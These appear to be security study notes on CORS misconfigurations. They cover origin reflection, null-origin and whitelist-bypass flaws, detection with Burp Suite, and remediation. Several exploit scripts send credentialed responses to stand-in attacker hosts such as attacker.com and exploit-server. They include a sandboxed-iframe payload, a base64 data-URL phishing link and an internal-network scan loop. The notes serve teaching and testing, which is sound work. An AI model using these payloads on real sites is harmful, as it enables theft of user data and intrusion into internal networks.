Cross-Origin Resource Sharing (CORS) Vulnerability Notes

Eyad Islam El-Taher

November 21, 2025

Introduction

Cross-Origin Resource Sharing (CORS) is a browser mechanism that enables controlled access to resources located outside of a given domain. It extends and adds flexibility to the **Same-Origin Policy (SOP)**, but also introduces potential attack vectors when poorly configured.

Key Concepts

- **Same-Origin Policy (SOP)**: Restrictive policy preventing websites from accessing resources from different origins
- **CORS**: Protocol that relaxes SOP using HTTP headers to define trusted web origins
- **Origin**: Combination of protocol, domain, and port (e.g., `https://example.com:443`)
- **CORS is NOT protection** against CSRF attacks

CORS Vulnerability Happen When

- **Origin Reflection**: Server reflects arbitrary Origin header in `Access-Control-Allow-Origin`
- **Weak Whitelisting**: Improper regex/prefix/suffix matching in origin validation
- **Null Origin Trust**: Application whitelists `null` origin value
- **Credentials with Wildcard**:
  ```
  Access-Control-Allow-Credentials: true
  Access-Control-Allow-Origin: *
  ```
- **Subdomain Validation Flaws**: Poor subdomain validation allowing attacker-controlled domains
- **Protocol Mismatch**: HTTP vs HTTPS origin validation issues

CORS Vulnerability Happen Where

- **API Endpoints** returning sensitive user data
- **AJAX Requests** with authentication cookies
- **Cross-Domain Applications** requiring resource sharing
- **Mobile App Backends** with web interfaces
- **Third-Party Integrations** with relaxed CORS policies
- **Development Environments** with permissive settings in production

Impact of CORS Vulnerability

- **Sensitive Data Theft**: API keys, CSRF tokens, personal information
- **Credential Harvesting**: Session cookies, authentication tokens
- **Account Takeover**: Through stolen session data
- **Information Disclosure**: Business data, internal information
- **Privilege Escalation**: Access to privileged user data

Advanced CORS Exploitation Scenarios

Exploiting XSS via CORS Trust Relationships

- **Scenario**: Website trusts an origin vulnerable to XSS
- **Attack**: Use XSS to inject JavaScript that leverages CORS to retrieve sensitive data
- **Example**:

```
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...

Response:
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
```

- **Exploitation**: XSS payload on subdomain retrieves API key via CORS

Breaking TLS with Poorly Configured CORS

Understanding the Vulnerability

- **CORS Misconfiguration**: When a TLS-protected site (HTTPS) has overly permissive CORS policies
- **Attack Vector**: HTTP page can make requests to HTTPS site and read responses
- **Core Problem**: CORS policy allows requests from untrusted or HTTP origins

How the Attack Works

```
Victim visits:    http://attacker-site.com (malicious page)
JavaScript on page makes request to: https://bank.com/api/userData
Browser checks CORS:
    https://bank.com responds with: Access-Control-Allow-Origin: *
Browser allows: Malicious page reads sensitive data from HTTPS site
```

Common Misconfigurations

- `Access-Control-Allow-Origin: *` on sensitive endpoints
- `Access-Control-Allow-Origin: null` which allows file:// origins
- Dynamic origin reflection without proper validation
- Allowing credentials with wildcard origins

Impact

- Bypass of TLS protection for sensitive data
- Cross-origin reading of authenticated responses
- Theft of CSRF tokens and session data
- Complete account takeover in severe cases

Intranet Exploitation via CORS Misconfiguration

Understanding CORS-Based Intranet Attacks:

- **Attack Vector**: Leveraging misconfigured CORS policies on internal services
- **Privilege Escalation**: Using external access to reach internal network resources
- **Browser as Bridge**: Victim's browser becomes a proxy to internal systems

How CORS Enables Intranet Access

```
External Attack Flow:
1. Victim visits: http://evil.com (malicious page)
2. JavaScript makes request to: http://internal-service.local/api/data
3. Internal service responds with: Access-Control-Allow-Origin: *
4. Browser allows: Malicious page reads internal service data
5. Attacker exfiltrates internal network information
```

CORS-Specific Attack Techniques

```
1. Internal Service Discovery via CORS:
   for (let i = 1; i < 255; i++) {
       fetch(‘http://192.168.1.${i}/api/data‘)
         .then(r => {
           if(r.headers.get(’Access-Control-Allow-Origin’)) {
             // Internal service found with CORS enabled
           }
         })
   }

2. Credentialed CORS Attacks:
   fetch(’http://internal-app/private-data’, {
     credentials: ’include’
   })
   // Works if internal app has:
   // Access-Control-Allow-Credentials: true
   // Access-Control-Allow-Origin: evil.com
```

Exploitation Impact via CORS

- **Internal Data Theft**: Read sensitive data from internal APIs
- **Service Enumeration**: Map internal network structure and services
- **Authentication Bypass**: Access internal apps using victim's browser context
- **Cross-Internal Service Attacks**: Use one internal service to attack others
- **Persistent Access**: Plant backdoors in internal systems

Real-World Attack Scenario

```
1. Attacker finds XSS on external corporate site
2. Injects script that scans internal network (192.168.0.0/16)
3. Discovers internal Jenkins at 192.168.1.50 with CORS: *
4. Reads Jenkins build secrets, API keys, credentials
5. Uses credentials to access other internal systems
```

CORS Headers and Their Roles

Request Headers

- `Origin`: Indicates the origin of the cross-origin request
- `Access-Control-Request-Method`: Used in preflight requests
- `Access-Control-Request-Headers`: Used in preflight requests

Response Headers

- `Access-Control-Allow-Origin`: Specifies allowed origins
- `Access-Control-Allow-Credentials`: Indicates if credentials are allowed
- `Access-Control-Allow-Methods`: Allowed HTTP methods
- `Access-Control-Allow-Headers`: Allowed HTTP headers
- `Access-Control-Expose-Headers`: Headers exposed to JavaScript

Types of CORS Misconfigurations

1.Basic Origin Reflection

- **Vulnerability**: Server reflects any Origin header value
- **Exploitation**:

```
Request:
GET /sensitive-data HTTP/1.1
Origin: https://evil.com

Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
```

- **Impact**: Complete domain compromise

2. Weak Regex/Whitelist Bypass

- **Common Flaws**:
  - Prefix matching: `trusted.com` allows `trusted.com.evil.net`
  - Suffix matching: `trusted.com` allows `eviltrusted.com`
  - Regex errors: Poorly crafted regular expressions
- **Exploitation Examples**:

```
Allowed: *.trusted.com
Bypass: attacker.trusted.com

Allowed: trusted.com.*
Bypass: trusted.com.attacker.net
```

3. Null Origin Vulnerability

- **Null Origin**: A special origin value that appears as `null` in requests
- **Occurs When**: Requests come from local HTML files, sandboxed iframes, or certain redirects
- **CORS Impact**: If server allows `null` origin, it bypasses normal origin restrictions

How Null Origin Works

```
Normal Browser Behavior:
- File:// URLs: Origin header is set to "null"
- Sandboxed iframes: Origin becomes "null"
- Some redirect scenarios: Origin may become "null"

Server Response:
If server responds with: Access-Control-Allow-Origin: null
Then any "null" origin can access the resource
```

Attack Vector:

```
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
        srcdoc="<script>/* CORS attack */</script>">
</iframe>
```

Common Null Origin Scenarios

- **File Protocol**: `file:///C:/Users/ victim/attack.html`
- **Sandboxed Documents**: `<iframe sandbox="allow-scripts">`
- **Data URLs**: `data:text/html,<script>fetch()</script>`
- **Certain Redirects**: Origin may be stripped during redirects

4. Credentials with Wildcard

- **Vulnerability**:
  `Access-Control-Allow-Origin: *`
  `Access-Control-Allow-Credentials: true`
- **Wildcard Character**: The asterisk symbol (*) meaning "any origin"
- **CORS Context**: `Access-Control-Allow-Origin: *` allows any website to make requests
- **Security Implication**: Complete bypass of same-origin policy for the endpoint

---

How to Identify CORS Vulnerabilities

Quick Detection Checklist

- **Origin Reflection Test**:

  ```
  Request with: Origin: https://attacker.com
  Check if response contains: Access-Control-Allow-Origin: https://attacker.com
  ```

- **Credentials Check**:

  ```
  Look for: Access-Control-Allow-Credentials: true
  ```

- **Null Origin Test**:

  ```
  Request with: Origin: null
  Check if response contains: Access-Control-Allow-Origin: null
  ```

- **Wildcard Check**:

  ```
  Check if response contains: Access-Control-Allow-Origin: *
  ```

Definitive Vulnerability Indicators

- **HIGH RISK**: Origin reflection + Credentials allowed

```
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
```

- **HIGH RISK**: Null origin + Credentials allowed

```
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
```

- **MEDIUM RISK**: Weak regex/whitelist bypass
  - Prefix/suffix matching vulnerabilities
  - Subdomain validation flaws
- **LOW RISK**: Wildcard without credentials

```
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: false
```

Burp Suite Testing Steps

1. Intercept request to sensitive endpoint
2. Add/modify Origin header to attacker domain
3. Check if ACAO header reflects your origin
4. Verify if ACAC header is set to true
5. If both conditions met → VULNERABLE

False Positive Checks

- **Not Vulnerable**: Server returns 403/error for unknown origins
- **Not Vulnerable**: No CORS headers in response
- **Not Vulnerable**: Static ACAO value (not reflecting origin)
- **Caution**: Some frameworks reflect origin only for preflight requests

---

Testing Methodology

Manual Testing Steps

1. **Identify CORS Endpoints**
   - Use proxy to crawl application
   - Look for `Access-Control-Allow-*` headers in responses
   - Focus on endpoints returning sensitive data
2. **Test Origin Reflection**

```
Origin: https://evil.com
Check for: Access-Control-Allow-Origin: https://evil.com
```

3. **Test Null Origin**

```
Origin: null
Check for: Access-Control-Allow-Origin: null
```

4. **Test Whitelist Bypasses**
   - Domain variations: `target.com.attacker.net`
   - Case variations: `TARGET.com`
   - Special characters: `target.com@attacker.net`
5. **Verify Credentials Support**

```
    Check for: Access-Control-Allow-Credentials: true
```

Exploitation Techniques

Basic CORS Exploit Script

```
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable.com/sensitive-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
    fetch('https://attacker.com/log?data=' + encodeURIComponent(this.responseText));
};
</script>
```

Common Null Origin Scenarios with Exploitation Examples

- **File Protocol**:

```
    User downloads and opens: attack.html
    File location: file:///C:/Users/john/Downloads/attack.html
    HTML content:
    <script>
    fetch('https://bank.com/api/account', {
      credentials: 'include'
    })
    .then(r => r.json())
    .then(data => {
      // Steal account data
      fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(data)))
    });
    </script>
```

- **Sandboxed Documents**:

```
    <!-- Attacker embeds in their website -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
     srcdoc="<script>
     var req = new XMLHttpRequest();
     req.onload = function() {
       location='https://attacker.com/log?key='+encodeURIComponent(this.responseText);
     };
     req.open('get','https://vulnerable.com/data',true);
     req.withCredentials = true;
     req.send();
     </script>">
</iframe>
```

- **Data URLs**:

```
    <!-- Direct link user can click -->
    <a href="data:text/html;base64,PHNjcmlwdD4KZmV0Y2goJ2h0dHBzOi8vdGFyZ2V0LmNvbS
    9hcGkvdXNlckRhdGEnKQoudGhlbihyID0+IHIuanNvbigpKQoudGhlbihkYXRhID0+IHsKICBmZXR
    jaCgnaHR0cHM6Ly9hdHRhY2tlci5jb20vc3RlYWw/JytCVUYuc3RyaW5naWZ5KGRhdGEpKQp9KTsK
    PC9zY3JpcHQ+">
    Click for "Important Report"
    </a>

    Decoded base64 content:
    <script>
    fetch('https://target.com/api/userData')
    .then(r => r.json())
    .then(data => {
      fetch('https://attacker.com/steal?'+JSON.stringify(data))
    });
    </script>
```

- **Certain Redirects**:

```
    Attacker controls: https://evil.com/redirector
    Victim visits: https://evil.com/redirector?url=https://target.com/api/data

    Server code at evil.com:
    app.get('/redirector', (req, res) => {
      // This redirect strips the Origin header
      res.redirect(req.query.url);
    });

    Browser behavior:
    - Initial request Origin: https://evil.com
    - After redirect Origin: null
    - If target.com allows null origin, data is accessible
```

Practical Exploitation Example (XSS & CORS)

- **Reconnaissance**:
  - Identify CORS-enabled endpoints with credentials
  - Test origin reflection with arbitrary subdomains
  - Find XSS vulnerabilities on whitelisted subdomains
- **Exploit Chain**:

```
<script>
document.location="http://stock.lab-id/?productId=4<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://lab-id/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
    location='https://exploit-server/log?key='+this.responseText;
};</script>&storeId=1"
</script>
```

Remediation and Prevention Measures

1. **Proper Cross-Origin Request Configuration**
   - **Sensitive Resources**: Always specify exact origins in `Access-Control-Allow-Origin` header
   - **No Dynamic Reflection**: Never reflect arbitrary `Origin` headers without validation
   - **Static Configuration**: Use fixed, pre-approved origins for sensitive endpoints
   - **Protocol Consistency**: Ensure whitelisted origins use same protocol (HTTPS only)
   - **Credential Control**: Use `Access-Control-Allow-Credentials: true` sparingly

2. **Trusted Sites Only**
   - **Whitelist Management**: Only include genuinely trusted sites in CORS policies
   - **Origin Verification**: Validate all whitelisted origins thoroughly
   - **No Blind Trust**: Don't trust origins without proper security assessment

3. **Avoid Null Origin Whitelisting**
   - **Null Origin Risk**: Internal documents and sandboxed requests can use `null` origin
   - **Prevention**: Never use `Access-Control-Allow-Origin: null`
   - **Alternative**: Specify exact trusted origins for both private and public servers

4. **Internal Network Security**
   - **Wildcard Restriction**: Avoid wildcards (`*`) in internal networks
   - **Network Isolation**: Don't rely solely on network configuration for protection
   - **Browser Security**: Assume internal browsers can access untrusted external domains

5. **Server-Side Security First**
   - **CORS Limitation**: CORS defines browser behavior only, not server protection
   - **Direct Request Risk**: Attackers can forge requests from any trusted origin
   - **Essential Protections**:
     - Strong authentication mechanisms
     - Robust session management
     - Proper authorization checks
     - Input validation and sanitization
   - **Layered Security**: CORS should complement, not replace, server-side security